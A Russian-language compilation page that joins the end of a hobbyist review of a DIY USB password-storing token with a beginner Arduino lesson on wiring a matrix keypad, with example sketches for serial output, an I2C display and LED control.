Не так как МГТФ конечно, но вполне прилично. Обычная ПВХ изоляция расползается при пайке сразу, а эта размягчается, но держит форму и выдерживает случайные прикосновения паяльником без проплавления до жилы. Единственный недостаток — многоцветная катушка сильно дороже при меньшем количестве провода.

Собираем все вместе и получаем маленький токен, который подключается к компу и позволяет управлять и пользоваться достаточно большим количеством логинов и паролей.Число логинов ограничено размером памяти EEPROM (1024 байта) и длиной паролей. Дисплей позволяет выбирать по комментарию нужную пару логин/пароль, а так же редактировать данные в токене. Редактировать пароли можно двумя кнопками.

Редактор я к токену прикрутил, но пользоваться им — сущий мазохизм. Поэтому для редактирования данных пришлось написать программу для PC (если вдруг будете пользоваться — не забудьте перевести токен в режим работы с USB в его меню).Общая идея устройства такая: Есть 1024 байта EEPROM. В этой области хранятся записи с данными — их число ограничено местом.

Каждая запись состоит из отображаемого на дисплее комментария и 8 полей. Каждое поле может содержать в себе символы и коды нажатия спец кнопок (Ctrl,Shift,Del итд). Две записи условно названы Login и Password. По нажатию кнопки токен отправляет поочередно все поля записи в USB как будто они введены с клавиатуры.

В полях вы можете разместить не только логин и пароль но и команды на запуск каких-либо программ. Но основной режим — это все-таки имя и пароль. Тк в плате у нас хранятся пароли надо хоть чуть-чуть позаботится о их безопасности. Забота о безопасности поможет усложнить проект и придаст ему серьезности. Для этого был добавлен пароль на разблокировку токена.

Он представляет собой задаваемую пользователем последовательность одиночных и двойных нажатий на кнопки.Теоретически, можно еще зашифровать данные в EEPROM с помощью какого-либо криптоалгоритма — место под код еще есть. Но снаружи эти потуги незаметны и поэтому с криптографией я заморачиваться не стал. Токен в обычном состоянии недоступен с компьютера.

Для перевода его в режим редактирования необходимо физически выбрать соответствующий пункт в меню кнопками. Точно так же для отправки пароля требуется физически нажать кнопку.

Так что злой хакер до ваших паролей в токене не доберется! Он перехватит их c USB порта, когда вы будете их посылать как с USB клавиатуры 😉 В результате получилась штуковина, в которой я храню пароли для входа на сайты банков и форумы. Специально для коллеги все оставшиеся выводы платы запрограммировал для подключения кнопок быстрого доступа.

Читайте также:  Какой микроконтроллер ардуино выбрать начинающему?

При нажатии на такую кнопку происходит переход к логину с соответствующим номером (если он есть). И для отправки его на комп остается только нажать кнопку подтверждения. Или подержать кнопку быстрого доступа подольше.

Завершив этот проект я предлагаю всем желающим повторить это замечательное устройство, которое позволит вам потерять все ваши пароли совершенно новым способом! Потерять бумажку может каждый, а сделать для этого специальное устройство и потерять его или пароль к нему — это внушает уважение! Перед выходом на публику PwKeeper прошел тщательный выходной контроль:Главинспектор был только что разбужен, но он все равно недоумЯвает — почему аудитории предлагается явно недоделанное устройство. Мои слова о том, что надо проверить правильность и качество монтажа (а при закрытой крышке это затруднительно) его не убедили.Тем не менее (после шантажа сосиской) удалось убедить его выдать мне сертификат соответствия:

Одобренные исполняемые и загрузочные файлы выложил сюда.

Планирую купить +54 Добавить в избранное Обзор понравился +95 +182

Источник: https://mysku.ru/blog/aliexpress/46651.html

Arduino для начинающих. Урок 10. Подключение матричной клавиатуры и интересные схемы

Продолжаем серию уроков «Arduino для начинающих«. Сегодня подключаем матричную клавиатуру к плате Arduino, а также рассматриваем интересные схемы с ней. Сделать такую клавиатуру можно и самому из кнопок и печатной платы. В статье видео-инструкция, листинги программ, схемы подключения и необходимые компоненты.

Большая часть текста содержит объяснение программного кода, его можно скачать здесь либо посмотреть видео под статьей.

Сделать такую клавиатуру можно и самому. Для этого понадобится печатная плата, 12 или 16 обычных кнопок и соединительные провода. Я же буду использовать готовую.

Матричная клавиатура для Arduino

Для чего нужна матричная клавиатура?

Для примера возьмем обычную кнопку. Как вы знаете, это простейшее электромеханическое устройство. Чтобы подключить ее к плате, нужно использовать стягивающий резистор, а также задействовать по одному контакту питания и «земли».

Нажатием такой кнопки можно выполнить определенное действие, например можно управлять светодиодом, различными приводами, механизмами и так далее.

А что, если нам необходимо подключить несколько кнопок? Тогда придется задействовать больше контактов и большее число проводов, да и без макетной платы уже не обойтись, плюс еще резисторы придется использовать в большем количестве.

Для этого и придумали такую клавиатуру, чтобы упростить подключение большего числа кнопок. Такие устройства встречаются везде — в клавиатурах компьютеров, калькуляторах и так далее.

Схема подключения матричной клавиатуры к Arduino

Подключать ее к плате следует 8 выводами, каждый из них считывает значения с определенных строк и столбцов. Подключать их следует к выводам на панели Digital. Я подключу, например, к выводам от 2 до 9 включительно. Нулевой и первый трогать не желательно, поскольку они предназначены для UART интерфейса (например, для подключения блютуз-модуля). Рациональнее оставить их свободными.

Схема подключения матричной клавиатуры к Arduino

Так выглядит самая простая схема с использованием клавиатуры. Для более удобной работы с ней была написана библиотека Кейпад. Скачать ее, а также другие скетчи можно здесь.

После того, как вы установили в библиотеку, можно зайти в Ардуино IDE (программа с сайта Arduino) и посмотреть примеры скетчей.

Возьмем самый простой скетч для ознакомления. Он позволяет считывать значение с клавиатуры при нажатии определенной клавиши и выводить их в порт. В данном случае это монитор порта на компьютере.

#include // подключаем нашу библиотеку const byte ROWS = 4; //число строк у нашей клавиатуры const byte COLS = 4; //число столбцов у нашей клавиатуры char hexaKeys[ROWS][COLS] = { {'1','4','7','*'}, // здесь мы располагаем названия наших клавиш, как на клавиатуре,для удобства пользования {'2','5','8','0'}, {'3','6','9','#'}, {'A','B','C','D'} }; byte rowPins[ROWS] = {5, 4, 3, 2}; //к каким выводам подключаем управление строками byte colPins[COLS] = {9, 8, 7, 6}; //к каким выводам подключаем управление столбцами //initialize an instance of class NewKeypad Keypad customKeypad = Keypad( makeKeymap(hexaKeys), rowPins, colPins, ROWS, COLS); void setup(){ Serial.begin(9600); } void loop(){ char customKey = customKeypad.getKey(); if (customKey){ Serial.println(customKey); } }
Скетч очень простой. Стоит отметить первые строчки кода. Сначала подключаем библиотеку, затем указываем сколько строк и столбцов у клавиатуры, а потом нужно правильно расположить названия клавиш, чтобы было удобнее работать.

Если это сделать неправильно, то, например, при нажатии цифры 4, в порт выйдет цифра 6 или любой другой символ. Это можно определить опытным путем и расположить символы, как они расположены на клавиатуре.

Далее нужно указать к каким выводам на плате подключаем управление строками и столбцами.

В функции void setup указываем скорость последовательного соединения с монитором порта 9600 бод. Функция нужна только для подачи питания на модули. В функции Void Loop прописываем условие. Переменная Char используется для хранения только одного символа, например, 1, А или 5, что подходит к ситуации.

Если нажатие зафиксировано, то происходит вывод символа в монитор порта с помощью функции Serial Print. В скобках нужно указывать, какую переменную выводим в порт. Если все сделано верно, в мониторе порта получим символ, на который нажимали.

Не забудьте в мониторе порта внизу справа указать скорость передачи данных такую же, как в скетче.

Схема с дисплеем и матричной клавиатурой

Давайте выведем данные на дисплей.

Схема подключения сопряженного с модулем I2C дисплея к Arduino

Я использую дисплей, сопряженный с модулем I2C, который упрощает подключение. Для работы с дисплеем с шиной I2C необходимо установить еще одну библиотеку. Скачать ее можно здесь.

Далее нужно указать размерность дисплея. Используемый в примере дисплей вмещает по 16 символов в каждой из 2-ух строк, это я и указываю. В функции Void Setup нужно подать питание на дисплей и включить подсветку. Делается это с помощью двух функций: lcd.begin и lcd.backlight.

#include // подключаем нашу библиотеку #include  LiquidCrystal_I2C lcd(0x27, 16, 2); const byte ROWS = 4; //число строк у нашей клавиатуры const byte COLS = 4; //число столбцов у нашей клавиатуры char hexaKeys[ROWS][COLS] = { {'S','4','7','*'}, // здесь мы располагаем названия наших клавиш, как на клавиатуре,для удобства пользования {'O','5','8','0'}, {'S','6','9','#'}, {'I','B','C','D'} }; byte rowPins[ROWS] = {5, 4, 3, 2}; //к каким выводам подключаем управление строками byte colPins[COLS] = {9, 8, 7, 6}; //к каким выводам подключаем управление столбцами //initialize an instance of class NewKeypad Keypad customKeypad = Keypad( makeKeymap(hexaKeys), rowPins, colPins, ROWS, COLS); void setup(){ Serial.begin(9600); lcd.begin(); // Инициализируем экран lcd.backlight(); } void loop(){ char customKey = customKeypad.getKey(); if (customKey){ Serial.println(customKey); lcd.setCursor(1,4); //устанавливаем курсор lcd.print(customKey); } }

В функции Voil Loop нужно в самом условии прописать строчку lcd.print для вывода данных на дисплей. И еще нужно предварительно установить положение курсора. В скобках идут 2 цифры: первая — это номер символа, а вторая — номер строки.

Нужно помнить, что у этого дисплея отсчет строк и столбцов начинается не с единицы, а с нуля. То есть здесь имеются строчки под номерами 0 и 1, а не 1 и 2, как может показаться сначала. Затем загрузим код в плату и посмотрим, что будет.

Так как дисплей работает по интерфейсу I2C, подключаем к аналоговым выводам. Выходы SDA и SCL соответственно подключаем к А4 и А5, а остальные два — это уже питание и «земля».

Как видим, нажимая на любой символ, видим его отображение на дисплее.

Подключение дисплея и матричной клавиатуры к Arduino

Можно заметить, если вводить символы дальше, то каждый предыдущий будет стираться, а на его месте появляться новый. Поэтому, если вы хотите вводить символы подряд, то просто удалите строчку, где указано положение курсора.

Чтобы стереть строчку, вспомним калькулятор. Когда нужно было удалить значение, мы нажимали на кнопку сброса. Нажмем на такую кнопку в плате и можем заново набирать символы.

Подключение клавиатуры к Arduino и управляющее действие

Последняя схема в уроке — выполнение заданного действия при нажатии определенной клавиши. Это основная цель подключения матричной клавиатуры к Arduino. По этой теме будут две отдельные статьи и видео, описывающие более сложные и интересные схемы. А сейчас знакомимся с этим модулем и запоминаем построение кода с его использованием.

Попробуем при нажатии определенной клавиши включать или выключать светодиод. Добавляем его в схему.

Подключение светодиода

Я буду использовать макетную плату и резистор (желательно использовать от 150 до 220 Ом). Двумя перемычками замкну схему, подключив их к пинам питания и земли на плате Ардуино.

Схема будет работать так: при нажатии на 1 включается светодиод, при нажатии на 2 — выключается.

Светодиод в примере подключен к пину 8 на плате Ардуино.

#include  const byte ROWS = 4; // Four rows const byte COLS = 4; // Three columns char keys[ROWS][COLS] = { // Define the Keymap {'1','4','7','*'}, // здесь мы располагаем названия наших клавиш, как на клавиатуре,для удобства пользования {'2','5','8','0'}, {'3','6','9','#'}, {'A','B','C','D'} }; byte rowPins[ROWS] = { 5, 4, 3, 2 };// Connect keypad ROW0, ROW1, ROW2 and ROW3 to these Arduino pins. byte colPins[COLS] = { 9, 8, 7 ,6}; // Connect keypad COL0, COL1 and COL2 to these Arduino pins. Keypad kpd = Keypad( makeKeymap(keys), rowPins, colPins, ROWS, COLS );// Create the Keypad #define ledpin 8 void setup() { pinMode(ledpin,OUTPUT); Serial.begin(9600); } void loop() { char key = kpd.getKey(); if(key) // Check for a valid key. { switch (key) { case '1': digitalWrite(ledpin, HIGH); break; case '2': digitalWrite(ledpin, LOW); break; } } }

Давайте разберем скетч.

Возьмем первый скетч урока и просто его дополним. В начале с помощью полезной функции Define присвоим название подключенному к пину 8 светодиоду ledpin. В функции Void setup указываем сигнал со светодиода как выход.

Подключение клавиатуры к Arduino и управление светодиодом

Если бы не библиотека Кейпад для клавиатуры, пришлось бы прописывать то же самое для 8 пинов, с которыми связана клавиатура. В функции void loop условие. Нажатие определенной клавиши «приравнивается» к значению переменной key.

 Оператор Switch сравнивает значения переменной key и «дает» определенные команды в зависимости от этого значения. Состоит он из двух вспомогательных операторов Case и Break. Проще говоря, если будет найдено значение переменной, равное 1 , то будет выполняться действие.

Оператор break служит командой выхода из оператора Case.

Соответственно при нажатии на 1 будет выполняться максимальная подача напряжения на светодиод и он будет гореть. При нажатии на 2 он гореть не будет.

Это указывается в функции Digitat write, где в скобках задается название переменной и «указание» ей.

Можно таким образом написать определенные команды для каждой кнопки и управлять большим количеством светодиодов или создать команду для включения всех светодиодов сразу.

Источник: http://edurobots.ru/2017/03/arduino-keypad/

Ссылка на основную публикацию